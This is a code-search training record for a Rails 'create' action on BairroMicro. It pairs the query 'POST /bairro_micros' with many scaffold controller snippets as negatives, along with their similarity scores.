"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def new\n @bio = Bio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bio }\n end\n end",
"def new\n @transmission = Transmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transmission }\n end\n end",
"def new\n @bixo = Bixo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bixo }\n end\n end",
"def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @boot = Boot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boot }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"def new\n @noami = Noami.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noami }\n end\n end",
"def new\n @arduino = Arduino.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arduino }\n end\n end",
"def new\n @microarray = Microarray.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @microarray }\n end\n end",
"def new\n @microarray = Microarray.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @microarray }\n end\n end",
"def new\n @browsenodeid = Browsenodeid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @browsenodeid }\n end\n end",
"def new\n @Roc = Roc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @Roc }\n end\n end",
"def new\n @roaster = Roaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @roaster }\n end\n end",
"def new\n @bonificacion = Bonificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bonificacion }\n end\n end",
"def new\n @bitacora = Bitacora.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bitacora }\n end\n end",
"def new\n @a_u = AU.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @a_u }\n end\n end",
"def new\n @band = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @band }\n end\n end",
"def new\n @book = Book.new :copies => 1\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @barrio = Barrio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @barrio }\n end\n end",
"def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brother }\n end\n end",
"def new\n @bdig = Bdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bdig }\n end\n end",
"def new\n @bare_start = BareStart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bare_start }\n end\n end",
"def new\n @na_sequence = NaSequence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @na_sequence }\n end\n end",
"def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def new\n @lb30 = Lb30.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lb30 }\n end\n end",
"def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @bouncer = Bouncer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bouncer }\n end\n end",
"def new\n @micromessage = Micromessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @micromessage }\n end\n end",
"def new\n @microsilica = Microsilica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @microsilica }\n end\n end",
"def new\n @http_receive = HttpReceive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @http_receive }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bid }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @timeband = Timeband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeband }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @rx_memory = RxMemory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rx_memory }\n end\n end",
"def new\n @page = Page.new(:status => params[:from])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @asambleista = Asambleista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asambleista }\n end\n end",
"def new\n @tipo_recibo = TipoRecibo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_recibo }\n end\n end",
"def new\n @retain_node = RetainNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node }\n format.json { render :json => @retain_node }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loan }\n end\n end",
"def new\n @tx = Tx.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tx }\n end\n end",
"def new\n @api = Api.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @api }\n end\n end",
"def new\n @bout = Bout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bout }\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def new\n @banda = Banda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @banda }\n end\n end",
"def new\n @turma = Turma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @turma }\n end\n end",
"def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end",
"def new\n @backup = Backup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @backup }\n end\n end",
"def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end",
"def new\n @bp_request = BpRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bp_request }\n end\n end",
"def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end",
"def new\n @abonne = Abonne.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abonne }\n end\n end",
"def new\n @irb = Irb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @irb }\n end\n end",
"def new\n @aauto = Aauto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aauto }\n end\n end",
"def new\n @bnote = Bnote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bnote }\n end\n end",
"def new\n @loanbook = Loanbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loanbook }\n end\n end",
"def new\n @historico = Historico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @historico }\n end\n end",
"def new\n @polling_station = PollingStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polling_station }\n end\n end",
"def new\n #@bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bill }\n end\n end",
"def new\n @webpage = Webpage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @webpage }\n end\n end",
"def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end",
"def new\n @auto = Auto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @auto }\n end\n end",
"def new\n @arrendimientospago = Arrendimientospago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arrendimientospago }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @wro = Wro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wro }\n end\n end",
"def new\n @feria2010observacion = Feria2010observacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @rate_change_history = RateChangeHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rate_change_history }\n end\n end",
"def new\n #@branch = Branch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @branch }\n end\n end",
"def new\n @norma = Norma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @norma }\n end\n end",
"def new\n @lookup_rad = LookupRad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_rad }\n end\n end",
"def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end",
"def new\n @balance = Balance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @balance }\n end\n end",
"def new\n @burger = Burger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @burger }\n end\n end",
"def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patron }\n end\n end",
"def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def new\n @serialize = Serialize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serialize }\n end\n end",
"def new\n @t1 = T1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @t1 }\n end\n end",
"def new\n @usr = Usr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usr }\n end\n end",
"def new\n @bis_code = BisCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bis_code }\n end\n end"
] |
[
"0.64610016",
"0.6444188",
"0.6312678",
"0.6296427",
"0.62716764",
"0.6256792",
"0.6246808",
"0.6239247",
"0.6228101",
"0.6214822",
"0.62104243",
"0.6202235",
"0.6199871",
"0.6198923",
"0.6196262",
"0.6142587",
"0.6141799",
"0.6134468",
"0.6132148",
"0.6132148",
"0.6129697",
"0.6127806",
"0.6123604",
"0.61012745",
"0.61003983",
"0.6098959",
"0.60947675",
"0.6093358",
"0.6081943",
"0.60769767",
"0.6069685",
"0.60658807",
"0.60624444",
"0.60623664",
"0.6059714",
"0.6040934",
"0.6039001",
"0.6039001",
"0.6039001",
"0.60366446",
"0.60319084",
"0.6026355",
"0.6021244",
"0.6019989",
"0.6019082",
"0.60190046",
"0.60165894",
"0.60165894",
"0.60104734",
"0.6006688",
"0.6004716",
"0.6000492",
"0.5999223",
"0.5996752",
"0.5995874",
"0.5984863",
"0.59797955",
"0.5978555",
"0.5977603",
"0.59772086",
"0.5951462",
"0.5946725",
"0.593983",
"0.59379935",
"0.59346366",
"0.5931873",
"0.5923853",
"0.59233",
"0.59219325",
"0.59204274",
"0.5919561",
"0.5917809",
"0.59168005",
"0.5914881",
"0.59143317",
"0.5913469",
"0.5909072",
"0.59089375",
"0.5908278",
"0.59079677",
"0.5907604",
"0.5907604",
"0.5907604",
"0.59074163",
"0.5902491",
"0.5898373",
"0.5894279",
"0.5893221",
"0.58915395",
"0.5891228",
"0.58902353",
"0.5888752",
"0.5884358",
"0.5881934",
"0.5881312",
"0.5879751",
"0.5879398",
"0.5878047",
"0.5877609",
"0.5876907"
] |
0.68609923
|
0
|
POST /bairro_micros POST /bairro_micros.xml
|
def create
@bairro_micro = BairroMicro.new(params[:bairro_micro])
respond_to do |format|
if @bairro_micro.save
flash[:notice] = 'BairroMicro was successfully created.'
format.html { redirect_to(@bairro_micro) }
format.xml { render :xml => @bairro_micro, :status => :created, :location => @bairro_micro }
else
format.html { render :action => "new" }
format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create(bin_params)\n @rest.post('save', bin_params)\n end",
"def post(buffer)\n connection.post(\"#{configuration.path}/update\", buffer, {'Content-type' => 'text/xml;charset=utf-8'})\n end",
"def request_body(xml); xml; end",
"def request(path, parameters = {})\n response = Basecamp.connection.post(path, convert_body(parameters), \"Content-Type\" => content_type)\n\n if response.code.to_i / 100 == 2\n result = XmlSimple.xml_in(response.body, 'keeproot' => true, 'contentkey' => '__content__', 'forcecontent' => true)\n typecast_value(result)\n else\n raise \"#{response.message} (#{response.code})\"\n end\n end",
"def test_create_transaction\n params = {\n bank_transaction: {\n bank_account_id: 1,\n date: Time.local(2012, 4, 16),\n amount: 55\n }\n }\n\n post '/api/banks/1/transactions', params\n data = ActiveSupport::JSON.decode last_response.body\n\n assert last_response.successful?\n assert_match('application/json', last_response.content_type)\n assert BankTransaction.find(data['id'])\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def create\n @bitacora = Bitacora.new(params[:bitacora])\n\n respond_to do |format|\n if @bitacora.save\n format.html { redirect_to @bitacora, notice: 'Bitacora was successfully created.' }\n format.json { render json: @bitacora, status: :created, location: @bitacora }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bitacora.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def post_request(device_id, epoch_time)\n uri = URI.parse(BASE_URL)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = false\n request = Net::HTTP::Post.new(\"/#{device_id}/#{epoch_time}\")\n response = http.request(request)\n response.code == \"200\"\nend",
"def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend",
"def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end",
"def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def test_generate_request_xml_successful\n assert AxAccount.request_xml(\"CU 0100000\")\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def bank_balance_report\n doc = Hpricot::XML(request.raw_post)\n doc = doc.to_s.gsub(\"&\",\"&\") \n doc = Hpricot::XML(doc) \n # xml = %{\n # <criteria> \n # <str1></str1> \n # <str2>zzzz</str2> \n # <str3></str3> \n # <str4>zzzzzzz</str4> \n # <str5>a</str5> \n # <str6>b</str6> \n # <str7></str7>\n # <str8>zzz</str8> \n # <dt2>2025-12-25</dt2>\n # <str10>zzz</str10> \n # <multiselect1></multiselect1>\n # <multiselect4></multiselect4>\n # <str12>zzz</str12>\n # <str14>z</str14>\n # <str16>zzz</str16>\n # <user_id>1</user_id>\n # <default_request>N</default_request>\n # </criteria> \n # }\n # doc = Hpricot::XML(xml)\n @bank_transactions = GeneralLedger::BankTransactionReport.bank_balance_report(doc)\n # respond_to_action('bank_balance_report') \n render :xml=>'<encoded>'+Base64.encode64(Zlib::Deflate.deflate(@bank_transactions[0]['xmlcol']))+'</encoded>'\n end",
"def new\n @bairro_micro = BairroMicro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bairro_micro }\n end\n end",
"def upload_submission(sub_info)\n uri = URI.parse(TARGET_API)\n http = Net::HTTP.new(uri.host, uri.port)\n\n req = Net::HTTP::Post.new(\"/ontologies/#{sub_info['ontology']['acronym']}/submissions\")\n req['Content-Type'] = 'application/json'\n req['Authorization'] = \"apikey token=#{TARGET_APIKEY}\"\n\n # Check if the source BioPortal is pulling the ontology from an URL\n # If yes then we will pull the ontology from this place (allow auto update of the ontology when the ontology is changed in its source URL)\n if sub_info['pullLocation'].nil?\n pull_location = \"#{sub_info['ontology']['links']['download']}?apikey=#{SOURCE_APIKEY}\"\n else\n pull_location = sub_info['pullLocation']\n end\n\n # Extract contacts\n contacts = []\n sub_info['contact'].each do |contact|\n contacts.push({'name': contact['name'],'email': contact['email']})\n end\n\n # Build the json body\n # hasOntologyLanguage options: OWL, UMLS, SKOS, OBO\n # status: alpha, beta, production, retired\n req.body = {\n 'contact': contacts,\n 'hasOntologyLanguage': sub_info['hasOntologyLanguage'],\n 'released': sub_info['released'],\n 'ontology': \"#{TARGET_API}/ontologies/#{sub_info['ontology']['acronym']}\",\n 'description': sub_info['description'],\n 'status': sub_info['status'],\n 'version': sub_info['version'],\n 'homepage': sub_info['homepage'],\n 'documentation': sub_info['documentation'],\n 'publication': sub_info['publication'],\n 'naturalLanguage': sub_info['naturalLanguage'],\n 'pullLocation': pull_location\n }.to_json\n\n #puts req.body.to_s\n response = http.start do |http|\n http.request(req)\n end\n\n return response\nend",
"def create\n @microarray = Microarray.new(params[:microarray])\n\n respond_to do |format|\n if @microarray.save\n flash[:notice] = 'Microarray was successfully created.'\n format.html { redirect_to(@microarray) }\n format.xml { render :xml => @microarray, :status => :created, :location => @microarray }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @microarray.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def build_status_request_body\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.transaction_request(\"version\" => \"2\") do\n xml.transaction @order.sofort_id\n end\n end\n builder.to_xml\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/bankingaccount/v1\")\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end",
"def api_post(action, data, binary_key = nil)\n api_request(action, data, 'POST', binary_key)\n end",
"def seconds_to_micros(seconds)\n seconds * 1_000_000\nend",
"def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end",
"def create\n @microarray = Microarray.new(params[:microarray])\n\n respond_to do |format|\n # if @microarray.save\n if @microarray.save\n @microarray.set_output_file_name\n @microarray.start_analysis\n flash[:notice] = 'Microarray data was successfully uploaded.'\n format.html { redirect_to(@microarray) }\n # format.html { redirect_to(microarray_path(1))}\n format.xml { render :xml => @microarray, :status => :created, :location => @microarray }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @microarray.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def transmit_data\n body = {body: {datum:{data_type:\"float\", value: rand, virtual_entity_id: 1}}}\n self.class.post(API+'/data', body)\n end",
"def create\n params_hash = {\n 'x_login' => @x_login,\n 'x_trans_key' => @x_trans_key,\n 'x_invoice' => invoice,\n 'x_amount' => amount,\n 'x_iduser' => iduser,\n 'x_bank' => bank,\n 'x_country' => country,\n 'x_sub_code' => sub_code,\n 'type' => response_type\n }\n\n message_to_control = \"#{invoice}D#{amount}P#{iduser}A\"\n\n sha256 = OpenSSL::Digest::SHA256.new\n control = OpenSSL::HMAC.hexdigest(sha256, [@secret_key].pack('A*'), [message_to_control].pack('A*'))\n control = control.upcase\n\n params_hash['control'] = control\n params_hash['x_currency'] = currency if currency\n params_hash['x_description'] = description if description\n params_hash['x_cpf'] = cpf if cpf\n params_hash['x_return'] = return_url if return_url\n params_hash['x_confirmation'] = confirmation_url if confirmation_url\n\n astro_curl(@astro_urls['create'], params_hash)\n end",
"def create\n megam_rest.post_node(to_hash)\n end",
"def to_xml\n http.body\n end",
"def create\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @peso_total = Seleccion.peso_total(usuario_actual.id)\n @precio_total = Seleccion.precio_total(usuario_actual.id)\n @tarjetas = usuario_actual.tdc\n \n #Cobro en el banco\n client = Savon::Client.new(\"http://localhost:3001/servicios/wsdl\")\n tdc = Tarjeta.where(\"id = ? AND cliente_id = ?\",params[:orden][:tarjeta_id],usuario_actual.id)\n total_pagar = params[:orden][:total]\n pago = '<Message>\n <Request>\n <numero_tdc>'+tdc.numero+'</numero_tdc>\n <nombre_tarjetahabiente>'+tdc.tarjetahabiente+'</nombre_tarjetahabiente>\n <fecha_vencimiento>'+tdc.mes_vencimiento+'/'+tdc.ano_vencimiento+'</fecha_vencimiento>\n <codigo_seguridad>'+tdc.codigo+'</codigo_seguridad>\n <tipo_tarjeta>'+tdc.tipo+'</tipo_tarjeta>\n <direccion_cobro>'+tdc.direccion+'</direccion_cobro>\n <total_pagar>'+total_pagar+'</total_pagar>\n <cuenta_receptora>'+cuenta_receptora+'</cuenta_receptora>\n </Request>\n </Message>'\n #response = client.request :verificar_pago, body: { \"value\" => pago } \n #if response.success?\n # data = response.to_hash[:verificar_pago_response][:value][:response].first\n # @respuesta = XmlSimple.xml_in(data)\n #end\n\n #NAMESPACE = 'pagotdc'\n #URL = 'http://localhost:8080/'\n #banco = SOAP::RPC::Driver.new(URL, NAMESPACE)\n #banco.add_method('verificar_pago', 'numero_tdc', 'nombre_tarjetahabiente', 'fecha_vencimiento', 'codigo_seguridad', 'tipo_tarjeta', 'direccion_cobro', 'total_pagar', 'cuenta_receptora')\n #\n \n #respuesta = banco.verificar_pago(tdc.numero, tdc.tarjetahabiente, tdc.mes_vencimiento.to_s+'/'+tdc.ano_vencimiento.to_s, tdc.codigo, tdc.tipo, params[:orden][:total], tdc.direccion)\n \n if true #respuesta.ack.eql?(0)\n params[:orden][:cliente_id] = usuario_actual.id\n params[:orden][:total] = Seleccion.precio_total(usuario_actual.id)\n params[:orden][:fecha_entrega] = \"0000-00-00\"\n @orden = Orden.new(params[:orden])\n \n if @orden.save\n @selecciones = Seleccion.where(\"cliente_id = ?\",usuario_actual.id)\n @selecciones.each do |seleccion|\n p = Producto.find(seleccion.producto_id)\n @venta = Venta.new(:producto_id=>p.id, \n :orden_id=>@orden.id,\n :categoria_id=>p.categoria_id, \n :cantidad=>seleccion.cantidad,\n :costo=>p.precio)\n @venta.save\n end\n \n Seleccion.vaciar_carro(usuario_actual.id)\n respond_to do |format|\n format.html { redirect_to ver_ordenes_path, notice: 'Orden generada correctamente.' }\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\", notice: respuesta.mensaje }\n end\n end\n end",
"def create\n @microposr = Microposr.new(params[:microposr])\n\n respond_to do |format|\n if @microposr.save\n format.html { redirect_to @microposr, notice: 'Microposr was successfully created.' }\n format.json { render json: @microposr, status: :created, location: @microposr }\n else\n format.html { render action: \"new\" }\n format.json { render json: @microposr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lob = Lob.new(lob_params)\n\n if @lob.save\n render json: @lob, status: :created, location: @lob\n else\n render json: @lob.errors, status: :unprocessable_entity\n end\n end",
"def test_application_request_should_be_inserted_properly\n ar_node = @doc.xpath(\n \"//bxd:ApplicationRequest\", 'bxd' => 'http://model.bxd.fi'\n ).first\n\n ar_doc = Nokogiri::XML(decode(ar_node.content))\n\n assert ar_doc.respond_to?(:canonicalize)\n assert_equal ar_doc.at_css(\"CustomerId\").content, @nordea_generic_params[:customer_id]\n end",
"def post_business(business, location)\n xml = Builder::XmlMarkup.new\n query = xml.tag!(\"BPMSPost\", 'Edition' => \"1.1\") {\n xml.tag!(\"Record\") {\n xml.tag!(\"Phone\", location.phone)\n xml.tag!(\"BusinessName\", location.location_name)\n xml.tag!(\"Address\", location.address)\n xml.tag!(\"City\", location.city)\n xml.tag!(\"State\", location.state)\n xml.tag!(\"Zip\", location.zip)\n xml.tag!(\"URL\", location.website_url)\n xml.tag!(\"TagLine\", location.special_offer)\n #xml.tag!(\"LogoImage\", location.logo)\n xml.tag!(\"Categories\") {\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Primary\")\n xml.tag!(\"Name\", business.industry_primary)\n }\n if business.industry_alt_1.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt1\")\n xml.tag!(\"Name\", business.industry_alt_1)\n }\n end\n if business.industry_alt_2.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt2\")\n xml.tag!(\"Name\", business.industry_alt_2)\n }\n end\n }\n }\n }\n body = build_request(3700, 1510, query)\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n xml_doc['Error'] == '0' # success (returns true/false)\n end",
"def create\n @bank_transactions = []\n\n lines = Base64.decode64 params[:file].sub('data:text/csv;base64,','')\n transactions = lines.split(\"\\n\").reverse\n\n transactions.each do |transaction|\n transaction = transaction.split(\",\")\n time = DateTime.strptime(transaction[0], '%Y-%m-%d')\n puts transaction[0]\n @bank_transactions << BankTransaction.create(description: transaction[1], amount: transaction[2], created_at: time, updated_at: time)\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @bank_transactions, callback: params[:callback] }\n format.xml { render xml: @bank_transactions }\n end\n end",
"def pcornet_wt\n pcornet_get_response(16, 548)\n end",
"def create(input)\n @response = self.request(Net::HTTP::Post.new(\n \"/stikkits.atom?raw_text=#{CGI.escape(input)}\"\n ))\n #-- TODO: This should be processed and useful output presented\n #++\n puts @response.body\n end",
